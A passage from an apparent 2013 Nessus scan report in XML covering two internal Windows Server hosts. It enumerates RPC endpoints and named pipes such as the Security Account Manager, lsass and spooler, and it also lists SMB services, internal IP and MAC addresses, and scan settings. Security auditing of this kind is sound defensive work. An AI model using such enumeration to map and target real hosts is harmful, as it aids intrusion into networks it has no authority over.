5264 Type : Remote RPC service
5265 Named pipe : \PIPE\srvsvc
5266 Netbios name : \\QA3APP06
5267
5268 Object UUID : 00000000-0000-0000-0000-000000000000
5269 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
5270 Description : Unknown RPC service
5271 Annotation : Event log TCPIP
5272 Type : Remote RPC service
5273 Named pipe : \pipe\eventlog
5274 Netbios name : \\QA3APP06
5275
5276 Object UUID : 00000000-0000-0000-0000-000000000000
5277 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
5278 Description : Unknown RPC service
5279 Annotation : NRP server endpoint
5280 Type : Remote RPC service
5281 Named pipe : \pipe\eventlog
5282 Netbios name : \\QA3APP06
5283
5284 Object UUID : 00000000-0000-0000-0000-000000000000
5285 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
5286 Description : Unknown RPC service
5287 Annotation : DHCPv6 Client LRPC Endpoint
5288 Type : Remote RPC service
5289 Named pipe : \pipe\eventlog
5290 Netbios name : \\QA3APP06
5291
5292 Object UUID : 00000000-0000-0000-0000-000000000000
5293 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
5294 Description : DHCP Client Service
5295 Windows process : svchost.exe
5296 Annotation : DHCP Client LRPC Endpoint
5297 Type : Remote RPC service
5298 Named pipe : \pipe\eventlog
5299 Netbios name : \\QA3APP06
5300
5301 </plugin_output>
5302 </ReportItem>
5303 <ReportItem port="135" svc_name="epmap" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
5304 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
5305 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
5306 <fname>dcetest.nasl</fname>
5307 <plugin_modification_date>2012/01/31</plugin_modification_date>
5308 <plugin_name>DCE Services Enumeration</plugin_name>
5309 <plugin_publication_date>2001/08/26</plugin_publication_date>
5310 <plugin_type>local</plugin_type>
5311 <risk_factor>None</risk_factor>
5312 <script_version>$Revision: 1.50 $</script_version>
5313 <solution>n/a</solution>
5314 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
5315 <plugin_output>
5316 The following DCERPC services are available locally :
5317
5318 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
5319 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
5320 Description : Unknown RPC service
5321 Type : Local RPC service
5322 Named pipe : WindowsShutdown
5323
5324 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
5325 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
5326 Description : Unknown RPC service
5327 Type : Local RPC service
5328 Named pipe : WMsgKRpc07E360
5329
5330 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
5331 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
5332 Description : Unknown RPC service
5333 Type : Local RPC service
5334 Named pipe : WindowsShutdown
5335
5336 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
5337 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
5338 Description : Unknown RPC service
5339 Type : Local RPC service
5340 Named pipe : WMsgKRpc07E360
5341
5342 Object UUID : 00000000-0000-0000-0000-000000000000
5343 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
5344 Description : DHCP Client Service
5345 Windows process : svchost.exe
5346 Annotation : DHCP Client LRPC Endpoint
5347 Type : Local RPC service
5348 Named pipe : dhcpcsvc
5349
5350 Object UUID : 00000000-0000-0000-0000-000000000000
5351 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
5352 Description : DHCP Client Service
5353 Windows process : svchost.exe
5354 Annotation : DHCP Client LRPC Endpoint
5355 Type : Local RPC service
5356 Named pipe : dhcpcsvc6
5357
5358 Object UUID : 3bdb59a0-d736-4d44-9074-c1ee00000001
5359 UUID : 24019106-a203-4642-b88d-82dae9158929, version 1.0
5360 Description : Unknown RPC service
5361 Type : Local RPC service
5362 Named pipe : LRPC-61346372017f991bb6
5363
5364 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000001
5365 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
5366 Description : Unknown RPC service
5367 Type : Local RPC service
5368 Named pipe : WMsgKRpc03A03B1
5369
5370 Object UUID : 6d726574-7273-0076-0000-000000000000
5371 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
5372 Description : Unknown RPC service
5373 Annotation : Impl friendly name
5374 Type : Local RPC service
5375 Named pipe : LRPC-5080a2754414a9c511
5376
5377 Object UUID : 4c8eb3ac-8634-45bf-8c32-c89c6fdf0cd0
5378 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
5379 Description : Distributed Transaction Coordinator
5380 Windows process : msdtc.exe
5381 Type : Local RPC service
5382 Named pipe : LRPC-10989fbb1b6e326921
5383
5384 Object UUID : 87ea16e1-0063-40d3-9067-e335854bb163
5385 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
5386 Description : Distributed Transaction Coordinator
5387 Windows process : msdtc.exe
5388 Type : Local RPC service
5389 Named pipe : LRPC-10989fbb1b6e326921
5390
5391 Object UUID : 4b95fe8a-3132-4a8a-8db5-f4e8058fc724
5392 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
5393 Description : Distributed Transaction Coordinator
5394 Windows process : msdtc.exe
5395 Type : Local RPC service
5396 Named pipe : LRPC-10989fbb1b6e326921
5397
5398 Object UUID : 7a988cee-4a47-49e0-a258-315eb8c71f8d
5399 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
5400 Description : Distributed Transaction Coordinator
5401 Windows process : msdtc.exe
5402 Type : Local RPC service
5403 Named pipe : LRPC-10989fbb1b6e326921
5404
5405 Object UUID : 5b53d1a7-4fbc-407e-9b35-78ae789b601d
5406 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
5407 Description : Distributed Transaction Coordinator
5408 Windows process : msdtc.exe
5409 Type : Local RPC service
5410 Named pipe : OLE8EB665BB6237475DA7D71A4E4964
5411
5412 Object UUID : 5b53d1a7-4fbc-407e-9b35-78ae789b601d
5413 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
5414 Description : Distributed Transaction Coordinator
5415 Windows process : msdtc.exe
5416 Type : Local RPC service
5417 Named pipe : LRPC-c06f80c64d03bab8d0
5418
5419 Object UUID : 00000000-0000-0000-0000-000000000000
5420 UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
5421 Description : IPsec Services (Windows XP &amp; 2003)
5422 Windows process : lsass.exe
5423 Annotation : IPSec Policy agent endpoint
5424 Type : Local RPC service
5425 Named pipe : LRPC-f40726f44c3e1b664b
5426
5427 Object UUID : 00000000-0000-0000-0000-000000000000
5428 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
5429 Description : Security Account Manager
5430 Windows process : lsass.exe
5431 Type : Local RPC service
5432 Named pipe : LRPC-5c2e82686803aba3f0
5433
5434 Object UUID : 00000000-0000-0000-0000-000000000000
5435 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
5436 Description : Security Account Manager
5437 Windows process : lsass.exe
5438 Type : Local RPC service
5439 Named pipe : audit
5440
5441 Object UUID : 00000000-0000-0000-0000-000000000000
5442 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
5443 Description : Security Account Manager
5444 Windows process : lsass.exe
5445 Type : Local RPC service
5446 Named pipe : securityevent
5447
5448 Object UUID : 00000000-0000-0000-0000-000000000000
5449 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
5450 Description : Security Account Manager
5451 Windows process : lsass.exe
5452 Type : Local RPC service
5453 Named pipe : LSARPC_ENDPOINT
5454
5455 Object UUID : 00000000-0000-0000-0000-000000000000
5456 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
5457 Description : Security Account Manager
5458 Windows process : lsass.exe
5459 Type : Local RPC service
5460 Named pipe : lsapolicylookup
5461
5462 Object UUID : 00000000-0000-0000-0000-000000000000
5463 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
5464 Description : Security Account Manager
5465 Windows process : lsass.exe
5466 Type : Local RPC service
5467 Named pipe : lsasspirpc
5468
5469 Object UUID : 00000000-0000-0000-0000-000000000000
5470 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
5471 Description : Security Account Manager
5472 Windows process : lsass.exe
5473 Type : Local RPC service
5474 Named pipe : protected_storage
5475
5476 Object UUID : 00000000-0000-0000-0000-000000000000
5477 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
5478 Description : Security Account Manager
5479 Windows process : lsass.exe
5480 Type : Local RPC service
5481 Named pipe : dsrole
5482
5483 Object UUID : 00000000-0000-0000-0000-000000000000
5484 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
5485 Description : Security Account Manager
5486 Windows process : lsass.exe
5487 Type : Local RPC service
5488 Named pipe : samss lpc
5489
5490 Object UUID : 00000000-0000-0000-0000-000000000000
5491 UUID : 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, version 1.0
5492 Description : Unknown RPC service
5493 Annotation : Spooler function endpoint
5494 Type : Local RPC service
5495 Named pipe : spoolss
5496
5497 Object UUID : 00000000-0000-0000-0000-000000000000
5498 UUID : ae33069b-a2a8-46ee-a235-ddfd339be281, version 1.0
5499 Description : Unknown RPC service
5500 Annotation : Spooler base remote object endpoint
5501 Type : Local RPC service
5502 Named pipe : spoolss
5503
5504 Object UUID : 00000000-0000-0000-0000-000000000000
5505 UUID : 4a452661-8290-4b36-8fbe-7f4093a94978, version 1.0
5506 Description : Unknown RPC service
5507 Annotation : Spooler function endpoint
5508 Type : Local RPC service
5509 Named pipe : spoolss
5510
5511 Object UUID : 00000000-0000-0000-0000-000000000000
5512 UUID : dd490425-5325-4565-b774-7e27d6c09c24, version 1.0
5513 Description : Unknown RPC service
5514 Annotation : Base Firewall Engine API
5515 Type : Local RPC service
5516 Named pipe : LRPC-ec8effc92f8dde825d
5517
5518 Object UUID : 00000000-0000-0000-0000-000000000000
5519 UUID : 7f9d11bf-7fb9-436b-a812-b2d50c5d4c03, version 1.0
5520 Description : Unknown RPC service
5521 Annotation : Fw APIs
5522 Type : Local RPC service
5523 Named pipe : LRPC-ec8effc92f8dde825d
5524
5525 Object UUID : 00000000-0000-0000-0000-000000000000
5526 UUID : 2fb92682-6599-42dc-ae13-bd2ca89bd11c, version 1.0
5527 Description : Unknown RPC service
5528 Annotation : Fw APIs
5529 Type : Local RPC service
5530 Named pipe : LRPC-ec8effc92f8dde825d
5531
5532 Object UUID : 00000000-0000-0000-0000-000000000000
5533 UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
5534 Description : Unknown RPC service
5535 Annotation : NSI server endpoint
5536 Type : Local RPC service
5537 Named pipe : OLEBECB3352473D4115814A43F736EE
5538
5539 Object UUID : 00000000-0000-0000-0000-000000000000
5540 UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
5541 Description : Unknown RPC service
5542 Annotation : NSI server endpoint
5543 Type : Local RPC service
5544 Named pipe : LRPC-41f9a524c2b8e6c2bb
5545
5546 Object UUID : 00000000-0000-0000-0000-000000000000
5547 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
5548 Description : Unknown RPC service
5549 Annotation : WinHttp Auto-Proxy Service
5550 Type : Local RPC service
5551 Named pipe : OLEBECB3352473D4115814A43F736EE
5552
5553 Object UUID : 00000000-0000-0000-0000-000000000000
5554 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
5555 Description : Unknown RPC service
5556 Annotation : WinHttp Auto-Proxy Service
5557 Type : Local RPC service
5558 Named pipe : LRPC-41f9a524c2b8e6c2bb
5559
5560 Object UUID : 00000000-0000-0000-0000-000000000000
5561 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
5562 Description : Unknown RPC service
5563 Annotation : WinHttp Auto-Proxy Service
5564 Type : Local RPC service
5565 Named pipe : W32TIME_ALT
5566
5567 Object UUID : 666f7270-6c69-7365-0000-000000000000
5568 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
5569 Description : Unknown RPC service
5570 Annotation : Impl friendly name
5571 Type : Local RPC service
5572 Named pipe : IUserProfile2
5573
5574 Object UUID : 6c637067-6569-746e-0000-000000000000
5575 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
5576 Description : Unknown RPC service
5577 Annotation : Impl friendly name
5578 Type : Local RPC service
5579 Named pipe : IUserProfile2
5580
5581 Object UUID : 24d1f7c7-76af-4f28-9ccd-7f6cb6468601
5582 UUID : 2eb08e3e-639f-4fba-97b1-14f878961076, version 1.0
5583 Description : Unknown RPC service
5584 Type : Local RPC service
5585 Named pipe : IUserProfile2
5586
5587 Object UUID : 736e6573-0000-0000-0000-000000000000
5588 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
5589 Description : Unknown RPC service
5590 Annotation : Impl friendly name
5591 Type : Local RPC service
5592 Named pipe : IUserProfile2
5593
5594 Object UUID : 736e6573-0000-0000-0000-000000000000
5595 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
5596 Description : Unknown RPC service
5597 Annotation : Impl friendly name
5598 Type : Local RPC service
5599 Named pipe : OLE92E5521E40FA40F59BD9C9B08B00
5600
5601 Object UUID : 736e6573-0000-0000-0000-000000000000
5602 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
5603 Description : Unknown RPC service
5604 Annotation : Impl friendly name
5605 Type : Local RPC service
5606 Named pipe : senssvc
5607
5608 Object UUID : 00000000-0000-0000-0000-000000000000
5609 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
5610 Description : Scheduler Service
5611 Windows process : svchost.exe
5612 Type : Local RPC service
5613 Named pipe : IUserProfile2
5614
5615 Object UUID : 00000000-0000-0000-0000-000000000000
5616 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
5617 Description : Scheduler Service
5618 Windows process : svchost.exe
5619 Type : Local RPC service
5620 Named pipe : OLE92E5521E40FA40F59BD9C9B08B00
5621
5622 Object UUID : 00000000-0000-0000-0000-000000000000
5623 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
5624 Description : Scheduler Service
5625 Windows process : svchost.exe
5626 Type : Local RPC service
5627 Named pipe : senssvc
5628
5629 Object UUID : 00000000-0000-0000-0000-000000000000
5630 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
5631 Description : Scheduler Service
5632 Windows process : svchost.exe
5633 Type : Local RPC service
5634 Named pipe : IUserProfile2
5635
5636 Object UUID : 00000000-0000-0000-0000-000000000000
5637 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
5638 Description : Scheduler Service
5639 Windows process : svchost.exe
5640 Type : Local RPC service
5641 Named pipe : OLE92E5521E40FA40F59BD9C9B08B00
5642
5643 Object UUID : 00000000-0000-0000-0000-000000000000
5644 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
5645 Description : Scheduler Service
5646 Windows process : svchost.exe
5647 Type : Local RPC service
5648 Named pipe : senssvc
5649
5650 Object UUID : 00000000-0000-0000-0000-000000000000
5651 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
5652 Description : Scheduler Service
5653 Windows process : svchost.exe
5654 Type : Local RPC service
5655 Named pipe : IUserProfile2
5656
5657 Object UUID : 00000000-0000-0000-0000-000000000000
5658 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
5659 Description : Scheduler Service
5660 Windows process : svchost.exe
5661 Type : Local RPC service
5662 Named pipe : OLE92E5521E40FA40F59BD9C9B08B00
5663
5664 Object UUID : 00000000-0000-0000-0000-000000000000
5665 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
5666 Description : Scheduler Service
5667 Windows process : svchost.exe
5668 Type : Local RPC service
5669 Named pipe : senssvc
5670
5671 Object UUID : 00000000-0000-0000-0000-000000000000
5672 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
5673 Description : Unknown RPC service
5674 Type : Local RPC service
5675 Named pipe : IUserProfile2
5676
5677 Object UUID : 00000000-0000-0000-0000-000000000000
5678 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
5679 Description : Unknown RPC service
5680 Type : Local RPC service
5681 Named pipe : OLE92E5521E40FA40F59BD9C9B08B00
5682
5683 Object UUID : 00000000-0000-0000-0000-000000000000
5684 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
5685 Description : Unknown RPC service
5686 Type : Local RPC service
5687 Named pipe : senssvc
5688
5689 Object UUID : 00000000-0000-0000-0000-000000000000
5690 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
5691 Description : Unknown RPC service
5692 Annotation : IKE/Authip API
5693 Type : Local RPC service
5694 Named pipe : IUserProfile2
5695
5696 Object UUID : 00000000-0000-0000-0000-000000000000
5697 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
5698 Description : Unknown RPC service
5699 Annotation : IKE/Authip API
5700 Type : Local RPC service
5701 Named pipe : OLE92E5521E40FA40F59BD9C9B08B00
5702
5703 Object UUID : 00000000-0000-0000-0000-000000000000
5704 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
5705 Description : Unknown RPC service
5706 Annotation : IKE/Authip API
5707 Type : Local RPC service
5708 Named pipe : senssvc
5709
5710 Object UUID : 00000000-0000-0000-0000-000000000000
5711 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
5712 Description : Unknown RPC service
5713 Annotation : IP Transition Configuration endpoint
5714 Type : Local RPC service
5715 Named pipe : IUserProfile2
5716
5717 Object UUID : 00000000-0000-0000-0000-000000000000
5718 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
5719 Description : Unknown RPC service
5720 Annotation : IP Transition Configuration endpoint
5721 Type : Local RPC service
5722 Named pipe : OLE92E5521E40FA40F59BD9C9B08B00
5723
5724 Object UUID : 00000000-0000-0000-0000-000000000000
5725 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
5726 Description : Unknown RPC service
5727 Annotation : IP Transition Configuration endpoint
5728 Type : Local RPC service
5729 Named pipe : senssvc
5730
5731 Object UUID : 00000000-0000-0000-0000-000000000000
5732 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
5733 Description : Unknown RPC service
5734 Annotation : XactSrv service
5735 Type : Local RPC service
5736 Named pipe : IUserProfile2
5737
5738 Object UUID : 00000000-0000-0000-0000-000000000000
5739 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
5740 Description : Unknown RPC service
5741 Annotation : XactSrv service
5742 Type : Local RPC service
5743 Named pipe : OLE92E5521E40FA40F59BD9C9B08B00
5744
5745 Object UUID : 00000000-0000-0000-0000-000000000000
5746 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
5747 Description : Unknown RPC service
5748 Annotation : XactSrv service
5749 Type : Local RPC service
5750 Named pipe : senssvc
5751
5752 Object UUID : 73736573-6f69-656e-6e76-000000000000
5753 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
5754 Description : Unknown RPC service
5755 Annotation : Impl friendly name
5756 Type : Local RPC service
5757 Named pipe : IUserProfile2
5758
5759 Object UUID : 73736573-6f69-656e-6e76-000000000000
5760 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
5761 Description : Unknown RPC service
5762 Annotation : Impl friendly name
5763 Type : Local RPC service
5764 Named pipe : OLE92E5521E40FA40F59BD9C9B08B00
5765
5766 Object UUID : 73736573-6f69-656e-6e76-000000000000
5767 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
5768 Description : Unknown RPC service
5769 Annotation : Impl friendly name
5770 Type : Local RPC service
5771 Named pipe : senssvc
5772
5773 Object UUID : 00000000-0000-0000-0000-000000000000
5774 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
5775 Description : Unknown RPC service
5776 Type : Local RPC service
5777 Named pipe : IUserProfile2
5778
5779 Object UUID : 00000000-0000-0000-0000-000000000000
5780 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
5781 Description : Unknown RPC service
5782 Type : Local RPC service
5783 Named pipe : OLE92E5521E40FA40F59BD9C9B08B00
5784
5785 Object UUID : 00000000-0000-0000-0000-000000000000
5786 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
5787 Description : Unknown RPC service
5788 Type : Local RPC service
5789 Named pipe : senssvc
5790
5791 Object UUID : 00000000-0000-0000-0000-000000000000
5792 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
5793 Description : Unknown RPC service
5794 Annotation : Event log TCPIP
5795 Type : Local RPC service
5796 Named pipe : eventlog
5797
5798 Object UUID : 00000000-0000-0000-0000-000000000000
5799 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
5800 Description : Unknown RPC service
5801 Annotation : NRP server endpoint
5802 Type : Local RPC service
5803 Named pipe : eventlog
5804
5805 Object UUID : 00000000-0000-0000-0000-000000000000
5806 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
5807 Description : Unknown RPC service
5808 Annotation : DHCPv6 Client LRPC Endpoint
5809 Type : Local RPC service
5810 Named pipe : eventlog
5811
5812 Object UUID : 00000000-0000-0000-0000-000000000000
5813 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
5814 Description : Unknown RPC service
5815 Annotation : DHCPv6 Client LRPC Endpoint
5816 Type : Local RPC service
5817 Named pipe : dhcpcsvc6
5818
5819 Object UUID : 00000000-0000-0000-0000-000000000000
5820 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
5821 Description : DHCP Client Service
5822 Windows process : svchost.exe
5823 Annotation : DHCP Client LRPC Endpoint
5824 Type : Local RPC service
5825 Named pipe : eventlog
5826
5827 </plugin_output>
5828 </ReportItem>
5829 <ReportItem port="139" svc_name="smb" protocol="tcp" severity="0" pluginID="11011" pluginName="Microsoft Windows SMB Service Detection" pluginFamily="Windows">
5830 <description>The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.</description>
5831 <fname>cifs445.nasl</fname>
5832 <plugin_modification_date>2012/01/31</plugin_modification_date>
5833 <plugin_name>Microsoft Windows SMB Service Detection</plugin_name>
5834 <plugin_publication_date>2002/06/05</plugin_publication_date>
5835 <plugin_type>remote</plugin_type>
5836 <risk_factor>None</risk_factor>
5837 <script_version>$Revision: 1.37 $</script_version>
5838 <solution>n/a</solution>
5839 <synopsis>A file / print sharing service is listening on the remote host.</synopsis>
5840 <plugin_output>
5841 An SMB server is running on this port.
5842 </plugin_output>
5843 </ReportItem>
5844 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="11011" pluginName="Microsoft Windows SMB Service Detection" pluginFamily="Windows">
5845 <description>The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.</description>
5846 <fname>cifs445.nasl</fname>
5847 <plugin_modification_date>2012/01/31</plugin_modification_date>
5848 <plugin_name>Microsoft Windows SMB Service Detection</plugin_name>
5849 <plugin_publication_date>2002/06/05</plugin_publication_date>
5850 <plugin_type>remote</plugin_type>
5851 <risk_factor>None</risk_factor>
5852 <script_version>$Revision: 1.37 $</script_version>
5853 <solution>n/a</solution>
5854 <synopsis>A file / print sharing service is listening on the remote host.</synopsis>
5855 <plugin_output>
5856 A CIFS server is running on this port.
5857 </plugin_output>
5858 </ReportItem>
5859 </ReportHost>
5860 <ReportHost name="qa3app05"><HostProperties>
5861 <tag name="HOST_END">Mon Jul 1 11:44:55 2013</tag>
5862 <tag name="patch-summary-total-cves">1</tag>
5863 <tag name="system-type">general-purpose</tag>
5864 <tag name="operating-system">Microsoft Windows Server 2008 R2 Standard Service Pack 1</tag>
5865 <tag name="mac-address">00:50:56:81:01:de</tag>
5866 <tag name="traceroute-hop-1">10.31.112.25</tag>
5867 <tag name="traceroute-hop-0">172.16.138.2</tag>
5868 <tag name="host-ip">10.31.112.25</tag>
5869 <tag name="host-fqdn">qa3app05</tag>
5870 <tag name="netbios-name">QA3APP05</tag>
5871 <tag name="HOST_START">Mon Jul 1 11:33:11 2013</tag>
5872 </HostProperties>
5873 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="19506" pluginName="Nessus Scan Information" pluginFamily="Settings">
5874 <description>This script displays, for each tested host, information about the scan itself :
5875
5876 - The version of the plugin set
5877 - The type of plugin feed (HomeFeed or ProfessionalFeed)
5878 - The version of the Nessus Engine
5879 - The port scanner(s) used
5880 - The port range scanned
5881 - Whether credentialed or third-party patch management checks are possible
5882 - The date of the scan
5883 - The duration of the scan
5884 - The number of hosts scanned in parallel
5885 - The number of checks done in parallel</description>
5886 <fname>scan_info.nasl</fname>
5887 <plugin_modification_date>2013/05/31</plugin_modification_date>
5888 <plugin_name>Nessus Scan Information</plugin_name>
5889 <plugin_publication_date>2005/08/26</plugin_publication_date>
5890 <plugin_type>summary</plugin_type>
5891 <risk_factor>None</risk_factor>
5892 <script_version>$Revision: 1.59 $</script_version>
5893 <solution>n/a</solution>
5894 <synopsis>Information about the Nessus scan.</synopsis>
5895 <plugin_output>Information about this scan :
5896
5897 Nessus version : 5.2.1
5898 Plugin feed version : 201306260615
5899 Type of plugin feed : HomeFeed (Non-commercial use only)
5900 Scanner IP : 172.16.138.174
5901 Port scanner(s) : nessus_syn_scanner
5902 Port range : default
5903 Thorough tests : no
5904 Experimental tests : no
5905 Paranoia level : 1
5906 Report Verbosity : 1
5907 Safe checks : yes
5908 Optimize the test : yes
5909 Credentialed checks : no
5910 Patch management checks : None
5911 CGI scanning : disabled
5912 Web application tests : disabled
5913 Max hosts : 80
5914 Max checks : 5
5915 Recv timeout : 5
5916 Backports : None
5917 Allow post-scan editing: Yes
5918 Scan Start Date : 2013/7/1 11:33
5919 Scan duration : 700 sec
5920 </plugin_output>
5921 </ReportItem>
5922 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="10919" pluginName="Open Port Re-check" pluginFamily="General">
5923 <description>One of several ports that were previously open are now closed or unresponsive.
5924
5925 There are several possible reasons for this :
5926
5927 - The scan may have caused a service to freeze or stop running.
5928
5929 - An administrator may have stopped a particular service during the scanning process.
5930
5931 This might be an availability problem related to the following :
5932
5933 - A network outage has been experienced during the scan, and the remote network cannot be reached anymore by the scanner.
5934
5935 - This scanner may has been blacklisted by the system administrator or by an automatic intrusion detection / prevention system that detected the scan.
5936
5937 - The remote host is now down, either because a user turned it off during the scan or because a select denial of service was effective.
5938
5939 In any case, the audit of the remote host might be incomplete and may need to be done again</description>
5940 <fname>check_ports.nasl</fname>
5941 <plugin_modification_date>2013/05/14</plugin_modification_date>
5942 <plugin_name>Open Port Re-check</plugin_name>
5943 <plugin_publication_date>2002/03/19</plugin_publication_date>
5944 <plugin_type>remote</plugin_type>
5945 <risk_factor>None</risk_factor>
5946 <script_version>$Revision: 1.41 $</script_version>
5947 <solution>- Increase checks_read_timeout and/or reduce max_checks
5948
5949 - Disable any IPS during the Nessus scan</solution>
5950 <synopsis>Previously open ports are now closed.</synopsis>
5951 <plugin_output>Port 135 was detected as being open but is now unresponsive
5952 Port 3389 was detected as being open but is now unresponsive
5953 Port 80 was detected as being open but is now unresponsive
5954 </plugin_output>
5955 </ReportItem>
5956 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="54615" pluginName="Device Type" pluginFamily="General">
5957 <description>Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).</description>
5958 <fname>device_type.nasl</fname>
5959 <plugin_modification_date>2011/05/23</plugin_modification_date>
5960 <plugin_name>Device Type</plugin_name>
5961 <plugin_publication_date>2011/05/23</plugin_publication_date>
5962 <plugin_type>combined</plugin_type>
5963 <risk_factor>None</risk_factor>
5964 <script_version>$Revision: 1.1 $</script_version>
5965 <solution>n/a</solution>
5966 <synopsis>It is possible to guess the remote device type.</synopsis>
5967 <plugin_output>Remote device type : general-purpose
5968 Confidence level : 99
5969 </plugin_output>
5970 </ReportItem>
5971 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="45590" pluginName="Common Platform Enumeration (CPE)" pluginFamily="General">
5972 <description>By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.
5973
5974 Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.</description>
5975 <fname>cpe.nbin</fname>
5976 <plugin_modification_date>2013/05/13</plugin_modification_date>
5977 <plugin_name>Common Platform Enumeration (CPE)</plugin_name>
5978 <plugin_publication_date>2010/04/21</plugin_publication_date>
5979 <plugin_type>local</plugin_type>
5980 <risk_factor>None</risk_factor>
5981 <script_version>$Revision: 1.19 $</script_version>
5982 <see_also>http://cpe.mitre.org/</see_also>
5983 <solution>n/a</solution>
5984 <synopsis>It is possible to enumerate CPE names that matched on the remote system.</synopsis>
5985 <plugin_output>
5986 The remote operating system matched the following CPE :
5987
